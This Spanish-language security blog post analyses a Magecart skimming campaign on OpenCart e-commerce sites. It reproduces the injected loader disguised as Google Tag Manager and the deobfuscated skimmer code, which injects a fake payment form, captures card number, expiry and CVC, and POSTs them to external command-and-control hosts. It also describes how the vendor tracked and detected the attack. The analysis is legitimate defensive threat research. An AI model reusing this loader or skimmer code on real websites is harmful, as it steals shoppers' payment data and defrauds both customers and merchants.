Hemos detectado un ataque de tipo Magecart dirigido a la plataforma CMS OpenCart. La campaña parece estar enfocada en sitios de comercio electrónico del este asiático. Magecart se ha convertido en un término usado de forma sinónima para los ataques del lado del cliente, y su nombre proviene de Magento + Cart.
Cómo ocurrió el ataque de inyección de scripts
El script malicioso se inyecta directamente en la página de inicio del sitio web. Está oculto entre integraciones legítimas de terceros como Facebook Pixel, Meta Pixel y Google Tag Manager. Comportamiento típico de un ataque del lado del cliente.
Aquí está el fragmento que contenía el malware inyectado:
<!-- End Facebook Pixel Code -->
<!-- Meta Pixel Code -->
<!-- Google Tag Manager -->
<script type="text/javascript">
(function(i,s,o,g,r,a,m){
i['Google'+'Analytics'+'Objects']=r;
a=s.createElement(g), m=s.getElementsByTagName(g)[0];
if(i.location['href'].indexOf(i.atob(r)) > 0){
a.async=1;
a.src=''+i.atob(o);
m.parentNode['insertBefore'](a,m);
r=1;
}
})(window,document,'Ly90YWdzY2FydC5zaG9wL2Nkbi9hbmFseXRpY3MubWluLmpz','script','L'+'w'+'='+'=', '//www.google-analytics[.]com/analytics.js','ga');
</script>
<!-- End Google Tag Manager -->
A primera vista parece una integración normal de Google Analytics o Tag Manager, pero no lo es.
El payload decodificado en Base64 apunta a:
/tagscart[.]shop/cdn/analytics.min.js
Una vez que este script se carga:
- Crea un elemento
<script>. - Establece su
srcapuntando al archivo analytics.min.js malicioso. - Se inyecta en la página antes de cualquier etiqueta de script existente.
Comportamiento del script malicioso
El script de /tagscart[.]shop/cdn/analytics.min.js estaba fuertemente ofuscado.
Algunas técnicas utilizadas:
- Referencias de caracteres hexadecimales (indexación con 0x...)
- División de arrays y recomposición dinámica (
.split('|')) - Uso peligroso de
eval()para ejecutar código decodificado dinámicamente - Ejecución silenciosa mediante
try { onLoad(); } catch {}
Tras la desofuscación
Analizando las partes más relevantes:
// #################### C2 INFRASTRUCTURE ####################
var sAdsUrl1 = '//ultracart[.]shop/g.php'; // Servidor C2 malicioso
var sAdsUrl2 = '//hxjet.pics/g.php'; // Servidor C2 de respaldo
// #################### FAKE FORM INJECTION ####################
// Inyección en el flujo estándar de pago
function onTimerStd() {
// ... (omitido por brevedad)
var sHtml = '<div class="cctdQKvkR-form-container" style="..." id="ccAq1TBAY_form_main"> <!-- Fake payment form HTML --> </div>';
vTargetBlocks.insertAdjacentHTML('beforeend', sHtml); // Inyectar formulario falso
// Configuración de máscara de entrada
(new InputMask).Initialize(document.getElementsByName("payment[cc_number]"), {
mask: "9999 9999 9999 99999999", // Formato de tarjeta de crédito
placeHolder: "Valid Card Number"
});
// ... similar para los campos de fecha y CVC
}
// #################### DATA CAPTURE EVENTS ####################
var vPaymentElements = ['payment[cc_number]', 'payment[date]', 'payment[cc_cid]'];
// Adjuntar listeners a los campos de pago
for (var i = 0; i < vPaymentElements.length; ++i) {
var hEl = document.getElementsByName(vPaymentElements[i])[0];
if (hEl) {
hEl.addEventListener('blur', mainListener); // Capturar cuando el foco abandona el campo
hEl.addEventListener('keydown', mainListener); // Capturar pulsaciones de teclas
hEl.addEventListener('paste', mainListener); // Capturar datos pegados
}
}
// #################### DATA VALIDATION ####################
function mainListener(e) {
var iCodeLength = 3;
try {
if (document.getElementsByName('payment[cc_number]')[0].value[0] == '3')
iCodeLength = 4 // Ajustar validación para tarjetas Amex
} catch (e) {}
// Verificaciones de validación antes de la exfiltración
if (document.getElementsByName('payment[cc_cid]')[0].value.length < iCodeLength)
return; // Requerir longitud mínima de CVC
if (document.getElementsByName('payment[date]')[0].value.length < 7)
return; // Requerir fecha de vencimiento completa
// ... (lógica de exfiltración de datos)
}
// #################### DATA EXFILTRATION ####################
function sendData(sUrl, sData) {
var xmlhttp = getXmlHttp();
xmlhttp.open('POST', sUrl, true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send('d=' + encodeURIComponent(sData) + '&m=' + iMethod.toString() + '&p=' + iPid.toString());
}
function mainListener(e) {
// ... (verificaciones de validación)
var sDump = JSON.stringify({
"u": window.location.href, // Capturar URL actual
"f": vData // Datos del formulario robados
});
sDump = Base64.encode(sDump); // Codificar datos
iMethod = 1;
sendData(sAdsUrl1, sDump); // Enviar al primer C2
sendData(sAdsUrl2, sDump); // Enviar al C2 de respaldo
}
// #################### FORM HIDING ####################
function onTimerStd() {
// ... (tras la inyección)
var hDiv = document.getElementById('ccAq1TBAY_form_main');
if (hDiv != null) {
hDiv.style.display = 'none' // Ocultar formulario de pago original
}
// ... (mostrar formulario falso)
}
Funcionalidad maliciosa
- Inyección de formulario de pago falso: Crea dinámicamente un formulario de tarjeta de crédito falso (HTML + CSS).
- El formulario falso se inyecta en las páginas de pago.
- Monitoriza la entrada del usuario en campos como:
payment[cc_number] payment[date]payment[cc_cid]
- Verifica que los campos de la tarjeta parezcan válidos (p. ej., longitud del CVC, formato de fecha de vencimiento).
- Tras la validación, codifica en Base64 y captura los datos (incluida la URL de la página actual) y los envía a://ultracart[.]shop/g.php
- //hxjet.pics/g.php
- El formulario de pago original se oculta.
- Se muestra el formulario falso en su lugar, diseñado para parecer legítimo.
- Implementa un InputMask personalizado para que los campos tengan una apariencia "profesional" (p. ej., formato automático de números de tarjeta de crédito).
Comportamiento inesperado
A diferencia de algunos ataques Magecart tradicionales, este script de terceros no copia datos del portapapeles. Los usuarios se ven obligados a introducir manualmente los datos de la tarjeta. Además, una vez introducidos los datos de la tarjeta, la información se envía inmediatamente al servidor del atacante. A continuación, oculta el formulario de pago con tarjeta y solicita al usuario que introduzca los datos de la transacción bancaria para capturar información sensible adicional.
Página de pago falsa

Página de pago falsa tras introducir los datos de la tarjeta, mostrando la página de datos bancarios

Solicitud POST capturada hacia el C2

Datos en Base64 enviados

Payload decodificado

Cómo monitorizamos el uso
Para rastrear el ataque, averiguar cómo se gestionan o utilizan los datos, o dónde se venden, solemos usar canary tokens para su seguimiento. Esto es lo que encontramos:
Curiosamente, en la mayoría de los casos vemos el uso de la tarjeta robada en los días siguientes. Sin embargo, en este caso tardó varios meses.
En este ejemplo, detectamos dos usos. El primero el 18 de junio mediante una transacción de pago por teléfono originada desde Estados Unidos.

Se realizó una segunda transacción de 47,80 € a un proveedor desconocido.

El seguimiento de estos ataques nos permite comprender mejor a las personas que hay detrás de ellos y cómo evolucionan las campañas de ataque.
Nuestra plataforma de detección identificó este ataque mediante una combinación de:
- Comportamiento anómalo de scripts: Scripts que se hacen pasar por legítimos (Google Analytics / GTM) pero que cargan contenido desde dominios inusuales.
- Patrones de JavaScript ofuscado: Uso de
evaldinámico, decodificación en base64 y manipulación sospechosa de arrays. - Detección de sustitución de formularios: Vigilancia de formularios falsos inyectados en flujos de pago conocidos.
Monitorización de dominios de amenazas: tagscart[.]shop, ultracart[.]shop y hxjet[.]pics ya estaban marcados en nuestros feeds de inteligencia de amenazas.
Notas finales
En cside, monitorizamos continuamente scripts de terceros y activos web para detectar y prevenir ataques del lado del cliente como este.
Nuestra plataforma de detección está diseñada para:
- Identificar inyecciones de scripts no autorizadas
- Analizar comportamientos sospechosos en tiempo real
- Bloquear ataques antes de que puedan robarse datos sensibles de los clientes
Al proteger proactivamente los sitios web frente a amenazas del lado del cliente, ayudamos a las empresas a salvaguardar la confianza de sus clientes y a ir un paso por delante de los ataques de seguridad web en constante evolución.




